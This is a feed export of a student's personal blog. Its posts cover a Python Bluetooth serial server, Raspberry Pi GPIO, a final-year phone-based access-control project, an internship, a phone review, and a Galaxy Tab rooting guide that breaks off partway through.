href=&quot;https://pybluez.googlecode.com/files/PyBluez-0.18.win32-py2.6.exe&quot;&gt;PyBluez&lt;/a&gt;&lt;br /&gt;2. Run the Python installer first, followed by the PyBluez Installer&lt;br /&gt;&lt;br /&gt;Run the Bluetooth serial server&lt;br /&gt;1. Copy the whole code below into a file named BluetoothServer.py&lt;br /&gt;2. Save the file in the same folder where Python was installed previously&lt;br /&gt;3. At this point, turn on your Bluetooth, set for an incomming connection (set a listening port) and pair with the other device (client)&lt;br /&gt;4. Start the Windows command prompt. Navigate to the folder where Python was installed&lt;br /&gt;5. Run the script : &amp;gt;&amp;gt;python BluetoothServer.py&lt;br /&gt;6. Server is active and ready for an incoming connection : “Waiting for connection on RFCOMM Channel 1”&lt;br /&gt;&lt;br /&gt;The simple server is based on the PyBluez examples &lt;a href=&quot;https://code.google.com/p/pybluez/source/browse/trunk/examples/simple/rfcomm-server.py&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;# file: BluetoothServer.py&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;# desc: Simple Bluetooth Serial Server (Python 2.6 and PyBluez)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;from bluetooth import *&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;server_sock=BluetoothSocket( RFCOMM )&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;server_sock.bind((““,PORT_ANY))&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;server_sock.listen(1)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;port = server_sock.getsockname()[1]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;#change UUID accordingly&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;uuid = “94f39d29-7d6d-437d-973b-fba39e49d4ee” &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;#start the listening server&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;advertise_service( server_sock, “BluetoothServer”,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;                   service_id = uuid,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;                   service_classes = [ uuid, SERIAL_PORT_CLASS ],&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;                   profiles = [ SERIAL_PORT_PROFILE ], &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;                    )&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;                   &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;print “Waiting for connection on RFCOMM channel %d” % port&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;#accepting connection&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;client_sock, client_info = server_sock.accept()&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;print “Accepted connection from “, client_info&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;#catch data and display. &lt;br /&gt;#wait for the client to cut off the connection&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;try:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    while True:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        data = client_sock.recv(1024)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        if len(data) == 0: break&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        print “received [%s]” % data&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;except IOError:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    pass&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;print “client disconnected”&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &apos;Courier New&apos;, Courier, monospace;&quot;&gt;#close sockets &lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;client_sock.close()&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;server_sock.close()&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;print “Server is off”&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The Android App (client) for sending in data is discussed separately on another post. The next step is to have this simple server ran on the Raspberry Pi and adding in some output manipulations using the Pi’s GPIO pins.&lt;br /&gt;&lt;br /&gt;Update: Here is a good read on the same topic. &lt;a href=&quot;https://www.dropbox.com/s/6hvbab04j854l58/Python%20and%20Bluetooth.pdf&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Raspberry GPIO Introduction</title>
   <link href="https://www.instagram.com/zeroquitgenes//2013/07/08/Raspberry-GPIO-Introduction/"/>
   <updated>2013-07-08T21:51:23+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2013/07/08/Raspberry-GPIO-Introduction</id>
   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;Here&apos;s a good video to get started with Raspberry Pi&apos;s GPIO. It includes the installation procedures, among others. The scripts were pretty simple, but it&apos;s a good start nevertheless.&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&lt;object class=&quot;BLOGGER-youtube-video&quot; classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot; codebase=&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0&quot; data-thumbnail-src=&quot;http://img.youtube.com/vi/q_NvDTZIaS4/0.jpg&quot; height=&quot;266&quot; width=&quot;320&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://youtube.googleapis.com/v/q_NvDTZIaS4&amp;amp;source=uds&quot; /&gt;&lt;param name=&quot;bgcolor&quot; value=&quot;#FFFFFF&quot; /&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot; /&gt;&lt;embed width=&quot;320&quot; height=&quot;266&quot; src=&quot;http://youtube.googleapis.com/v/q_NvDTZIaS4&amp;amp;source=uds&quot; type=&quot;application/x-shockwave-flash&quot; allowfullscreen=&quot;true&quot; /&gt;&amp;lt;/embed&amp;gt;&lt;/object&gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;text-align: left;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;text-align: left;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;text-align: left;&quot;&amp;gt;Here’s a video on using the Pi’s GPIO for a Keypad based Access Control. &amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&amp;lt;iframe allowfullscreen=&apos;allowfullscreen&apos; webkitallowfullscreen=&apos;webkitallowfullscreen&apos; mozallowfullscreen=&apos;mozallowfullscreen&apos; width=&apos;320&apos; height=&apos;266&apos; src=&apos;https://www.youtube.com/embed/-ukI2B10gEQ?feature=player_embedded&apos; frameborder=&apos;0&apos; /&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;text-align: left;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Learning Android for FYP</title>
   <link href="https://www.instagram.com/zeroquitgenes//2013/07/08/Learning-Android-for-FYP/"/>
   <updated>2013-07-08T19:57:57+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2013/07/08/Learning-Android-for-FYP</id>
   <content type="html">&lt;p&gt;I am now into my 2nd last Trimester in MMU, where I have begun my final year project (FYP). Me and my friend, Jeeva are partners, currently under the supervision of Mr. Cheong (a great lecturer, one of the best I’ve known). Our project? A phone based Access Control system, based on &lt;a href=&quot;http://www.unikey.com/&quot; style=&quot;font-weight: bold;&quot;&gt;UniKey.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-PqefvsM9Nf4/UdOzs_BBrYI/AAAAAAAAAgk/MHz30Yc3kn8/s530/unikey.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;http://4.bp.blogspot.com/-PqefvsM9Nf4/UdOzs_BBrYI/AAAAAAAAAgk/MHz30Yc3kn8/s320/unikey.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;UniKey is an Access Control system which replaces traditional standard lock and keys with your smart phone. They haven’t actually launched their product yet. UniKey makes use of the Bluetooth technology (low cost, low power, widely supported, readily available) to communicate with the electronic door operator. Initially, our project consist of 2 essential parts:&lt;br /&gt;&lt;br /&gt;&amp;lt;ol&amp;gt;&amp;lt;li&amp;gt;A phone App to that store the ‘key’ and response to the electronic door operator via Bluetooth. Plus, some key managements as an added feature. Android platform as a start.&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;The electronic door operator which communicates with the phone App via Bluetooth and responsible for the control that locks/unlocks the door. The development will be done using the popular Raspberry Pi before we move on to construct our custom circuit board.&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&amp;lt;div&amp;gt;We might actually want to enhance further when we have some basics working. I am in charge of the software development part of the project while Jeeva will do most of the hardware part. The Iphone App for the Unikey looks like below (they haven’t developed an Android App yet);&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-S1QcjENBvnI/UdOz5PYCglI/AAAAAAAAAgw/dCzrKHxyghU/s640/o-UNIKEY-570.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://2.bp.blogspot.com/-S1QcjENBvnI/UdOz5PYCglI/AAAAAAAAAgw/dCzrKHxyghU/s320/o-UNIKEY-570.jpg&quot; width=&quot;285&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;This week marks the 3rd week of our project development stage and I am still at the stage of “learning” and “figuring out”. I had my first touch on Android App a year ago while helping a friend on his project, but those were merely introductory. Android Bluetooth API is something very new to me and with the lack of hardwares to test, I ended up progessing pretty slow. For a start, I found out after 2 weeks that most Bluetooth adapters on Samsung phones are not reliable which really is a headache because I only have Samsung devices available (Note 2, Tab). To summarize, these are what I have done in the past 2 weeks and what should I be doing in the next few weeks. This is based on MMU Trimester calendar, where I started the project on Week 2, not on Week 1.&lt;br /&gt;&lt;br /&gt;&amp;lt;ol&amp;gt;&amp;lt;li&amp;gt;Week 2 : We were briefed on the project. I was assigned to write a 10 page of Literature Review and  to write a simple Android App to get me familiar with Eclipse and Android GUI. Simple Android App with basic GUI is completed.&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Week 3 : Demonstrate the simple App to Mr. Cheong. Next, I was assigned with a new task to write another App to simply send a file to another phone via Bluetooth. I went as far as to able to discover other available Bluetooth device, but unable to pair and hence, unable to connect. On the other hand, Literature Review Draft 1 is submitted. Mr. Cheong added a few points of suggestion to add into the Literature Review.&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Week 4 : The App is able to connect and pair, but crashed at run time a few seconds afterwards. Meeting with Mr. Cheong went well although I wasn’t able to demonstrate a fully functional app. He asked for the submission of the edited Literature Review during the next meeting. I was asked to write a fully functional App that is able to send a file to a Bluetooth device (this time, probably a computer with a Bluetooth dongle) as well as some simple server program (written in C or Python) which can read the file.&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&amp;lt;div&amp;gt;As I am not really familiar with Android development as yet, this is quite a tough project to work on. As Mr. Cheong described, I should be doing head banging most of the time while working on the project. However, I am pretty excited. I love challenges. :-)&lt;br /&gt;&lt;br /&gt;By the way, our work will not entirely be published here as they are belong to MMU, per their policy. In fact, I will not be posting any of the works here. However, I have promised myself I will keep posting something on the progress of the project and probably some interesting tutorials and articles that I found useful.&lt;br /&gt;&lt;br /&gt;I need that practice in writing.&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-9R0JkbtmKew/UdO2OPDNnLI/AAAAAAAAAg8/X2q6Uz4axXA/s1100/step-back-and-break-your-neck-head-banging.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;261&quot; src=&quot;http://2.bp.blogspot.com/-9R0JkbtmKew/UdO2OPDNnLI/AAAAAAAAAg8/X2q6Uz4axXA/s320/step-back-and-break-your-neck-head-banging.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Internship</title>
   <link href="https://www.instagram.com/zeroquitgenes//2013/04/01/Internship/"/>
   <updated>2013-04-01T18:28:41+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2013/04/01/Internship</id>
   <content type="html">&lt;p&gt;I am now into my final year of engineering study. I admit, I&apos;m lagging behind of most of my peers. However, I&apos;m living my life as much as they do, feeling blessed despite all of the shortcomings. &lt;/p&gt;
&lt;p&gt;I&apos;m currently doing my internship at a small local company named Tri System Technology. It has been a month and a half....and I&apos;m enjoying it :) I discovered myself as a person who dislikes being idle, so sometimes having no tasks to complete day-to-day bored me easily. However, most of the time I&apos;m pretty occupied. I&apos;m here with another guy from MMU who is also my friend, Alex. &lt;/p&gt;
&lt;p&gt;The company mainly involved in supplying and installing ICT solutions to newly built buildings which are offered through tender contract, mostly from TNB, TM and JKR. Lately, they are now into bigger projects such as MRT and Matrade.&lt;/p&gt;
&lt;p&gt;For now, me and Alex are involved in MRT projects. In this project, Tri System is a subcontractor of Apex Communication and Johnson Control in Electronic Access Card (EAC) installation. Simply put, Tri System as subcontractor, are the one to do all the works. Me and Alex have been to the Interface Meeting since the beginning and I am proud to say that we are quite heavily involved in this project. The Interface Meeting enlightened me on how these people manage between a number of parties to make progress in the project. I&apos;m glad having the opportunity to learn how they conduct the meetings, scheduled the work progress and coordinated between them. It is pretty much like our engineering group assignment, but this is on a huge project. &lt;/p&gt;
&lt;p&gt;Cable routing, door schedules, those are the term we learned so far. I can&apos;t wait for more. This has been quite a good experience for me. &lt;/p&gt;
&lt;p&gt;Need to get some sleep. Later.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Convert the whole website to pdf for offline use</title>
   <link href="https://www.instagram.com/zeroquitgenes//2012/11/11/Convert-the-whole-website-to-pdf-for-offline-use/"/>
   <updated>2012-11-11T15:39:59+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2012/11/11/Convert-the-whole-website-to-pdf-for-offline-use</id>
   <content type="html">&lt;p&gt;&lt;br /&gt;I normally use this (http://pdfmyurl.com) to convert a single file to convert a single page to pdf file. It helps in keeping the original structure of the page intact without any kind of distortion of any sort, just the way we view it from any browser.&lt;br /&gt;&lt;br /&gt;Now, what if I want to convert the whole website to a pdf file, with all the link in tact? This is especially useful for tutorial sites, as I sometimes love to have them available offline.&lt;br /&gt;&lt;br /&gt;After looking through the Net, this is the best method I found.&lt;br /&gt;&lt;br /&gt;Adobe Acrobat.&lt;br /&gt;&lt;br /&gt;Once you have it installed, press the press “SHIFT + CTRL + O” or click on the Create PDF &amp;gt; From Web Page button. A menu opens up that is asking for a url and offering several options on how to proceed. Have a look around.&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-mk7ehoZmYOo/UJ_GwCzkUJI/AAAAAAAAAck/vlJm-4IMCAc/s1600/create_pdfs_from_full_websites.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;184&quot; src=&quot;http://3.bp.blogspot.com/-mk7ehoZmYOo/UJ_GwCzkUJI/AAAAAAAAAck/vlJm-4IMCAc/s320/create_pdfs_from_full_websites.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;You can specify the depth levels of the initial page where you are converting from. It is normally a good idea to stay on the same server and even on the path.&lt;br /&gt;&lt;br /&gt;Works perfectly.&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Garmin Asus A50</title>
   <link href="https://www.instagram.com/zeroquitgenes//2012/11/11/Garmin-Asus-A50/"/>
   <updated>2012-11-11T12:09:27+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2012/11/11/Garmin-Asus-A50</id>
   <content type="html">&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-0bAn-s6i8zo/UJ-T5LqLMnI/AAAAAAAAAcE/IMGnWSULNUE/s1600/garmin-asus-nuvifone-a50-review-14.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;213&quot; src=&quot;http://3.bp.blogspot.com/-0bAn-s6i8zo/UJ-T5LqLMnI/AAAAAAAAAcE/IMGnWSULNUE/s320/garmin-asus-nuvifone-a50-review-14.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Pretty fast GPS signal capturing&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt; My second smart phone, Garmin Asus A50 has probably the best GPS chip of all the smartphones out there. That’s the perk from Garmin, you can say. Now that Garmin-Asus colloboration has ended and no new phones of similar hardware will be produced in the near future. So, I’m practically stuck with a low end A50, first launched on June 2010, almost 2 years ago. The hardware limits the capability to upgrade the Android OS. Hence, only up to Eclair (2.1) is supported.&lt;br /&gt;&lt;br /&gt;&amp;lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-U8RLbveldH4/UJ-T8pCxrqI/AAAAAAAAAcU/btg4u3w2yAE/s1600/garmin-asus-nuvifone-a50-review-6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;213&quot; src=&quot;http://1.bp.blogspot.com/-U8RLbveldH4/UJ-T8pCxrqI/AAAAAAAAAcU/btg4u3w2yAE/s320/garmin-asus-nuvifone-a50-review-6.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&amp;gt;If you used Garmin GPS device before, this would be familiar to you&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;&amp;lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: left;&quot;&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-adlvRE-UlN8/UJ-T6jdkovI/AAAAAAAAAcM/mAL2s2hjKMw/s1600/garmin-asus-nuvifone-a50-review-17.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;213&quot; src=&quot;http://1.bp.blogspot.com/-adlvRE-UlN8/UJ-T6jdkovI/AAAAAAAAAcM/mAL2s2hjKMw/s320/garmin-asus-nuvifone-a50-review-17.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&amp;gt;Comes with free holder for the car as well&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&amp;lt;iframe allowfullscreen=&apos;allowfullscreen&apos; webkitallowfullscreen=&apos;webkitallowfullscreen&apos; mozallowfullscreen=&apos;mozallowfullscreen&apos; width=&apos;320&apos; height=&apos;266&apos; src=&apos;https://www.youtube.com/embed/HgeBxacVB-w?feature=player_embedded&apos; frameborder=&apos;0&apos; /&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;text-align: left;&quot;&amp;gt;It’s hard to call this a phone, it lags heavily sometimes. I would rather call it a GPS with phone capabilities. That’s one of the reasons the phones are still in the market anyway. The built in GPS chip is that good. Not to mention that the phone comes with pre-installed Garmin app, similar to the app found in any Garmin GPS device.&amp;lt;/div&amp;gt;&lt;br /&gt;The specs:&lt;br /&gt;QualComm 7227 Arm 11, 600Mhz&lt;br /&gt;256 MB ROM, 256 MB SDRAM&lt;br /&gt;4GB Extendable Flash&lt;br /&gt;Qualcomm GPSOne&lt;br /&gt;(Here is why it’s one of the best GPS chip on smartphone : &lt;a href=&quot;http://www.gpspassion.com/fr/articles.asp?id=175&amp;amp;page=6&quot;&gt;&lt;b&gt;LINK&lt;/b&gt;&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Easily rooted. Very hardware limited. Not much you can tweak with this one, but definitely worth keeping.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Rooting Galaxy Tab 10.1</title>
   <link href="https://www.instagram.com/zeroquitgenes//2012/11/10/Rooting-Galaxy-Tab-10.1/"/>
   <updated>2012-11-10T14:49:44+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2012/11/10/Rooting-Galaxy-Tab-10.1</id>
   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-P8Apchtv8zE/UJ5lPHtiMZI/AAAAAAAAAb0/MtdBWU9h974/s1600/DSC01873.JPG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;212&quot; src=&quot;http://1.bp.blogspot.com/-P8Apchtv8zE/UJ5lPHtiMZI/AAAAAAAAAb0/MtdBWU9h974/s320/DSC01873.JPG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;Well, Ipish got a Samsung Galaxy Tab 10.1 from her dad a few months ago. She kinda use it not that often, probably not much during lecture hours. Well, I’d like her to make use of it more. So I google-ed up for all the drivers needed to make it easy for PC-to-Tab transfer (that’s one of the reasons she rarely use it). It turned out that the drivers are easily available. It is almost plug-and-go actually. So the problem probably lies  on her desktop computer, which I’ll have a look later.&lt;br /&gt;&lt;br /&gt;Next on the list is to root the Tab so she can use all the extra features on the device. Unrooted devices lack in permissions, hence lack of special features i.e. backing up sensitive data, exploring system folders etc. I make use of the tutorial here (&lt;b&gt;&lt;a href=&quot;http://galaxytabhacks.com/galaxy-tab-10-1-hacks/how-to-root-galaxy-tab-10-1-the-easy-way/&quot;&gt;LINK&lt;/a&gt;&lt;/b&gt;). In fact, I rewrite the whole thing on the page here, just because the ads annoyed me.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #cc0000; font-size: large;&quot;&gt;&lt;b&gt;First, the requirement. &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;1. This guide is only for P7510 (Wifi) version.&lt;br /&gt;2. Need a windows computer&lt;br /&gt;3. Windows driver for Galaxy Tab 10.1 &lt;br /&gt;(&lt;b&gt;&lt;a href=&quot;http://downloadandroidrom.com/file/GalaxyTab10.1/drivers/GT-p7510_USB_Driver_v1_3_2360_0-Escape.exe&quot;&gt;LINK&lt;/a&gt; -  &lt;/b&gt;you gotta wait for a few seconds for download link to appears)&lt;br /&gt;4.Download Odin3 (a Windows tool to update Android system) &lt;b&gt;&lt;a href=&quot;http://downloadandroidrom.com/file/GalaxyTab10.1/rooting/tabrooteasy.zip&quot;&gt;LINK&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #cc0000; font-size: large;&quot;&gt;&lt;b&gt;Once we have all the files downloaded, we’re ready to go:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;1.First we need to put the Tab into ‘download’ mode. &lt;/b&gt;&lt;br /&gt;Turn off the Tab.&lt;br /&gt;Then, press the Power button and Volume Down button simultaneously.&lt;br /&gt;Right after the Samsung Logo comes out, let go of both buttons immediately.&lt;br /&gt;Then, hit the Volume Up button (choosing the download mode on the right), we should be in the ‘download’ mode.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. Next, we run the Odin3 application.&lt;/b&gt;&lt;br /&gt;Run the Odin3.exe (of whatever version you have)&lt;br /&gt;Tick on ‘PDA’&lt;br /&gt;Click ‘PDA’ &lt;br /&gt;Choose ‘&lt;span style=&quot;color: #0b5394;&quot;&gt;recovery-cwm_4.0.0.4-sam-tab-10.1.tar.md5&lt;/span&gt;’ (from the same folder of Odin3.exe)&lt;br /&gt;Hit start&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. Then, copy ‘Samsung_Galaxy_Tab_10.1_root.zip’&lt;/b&gt; 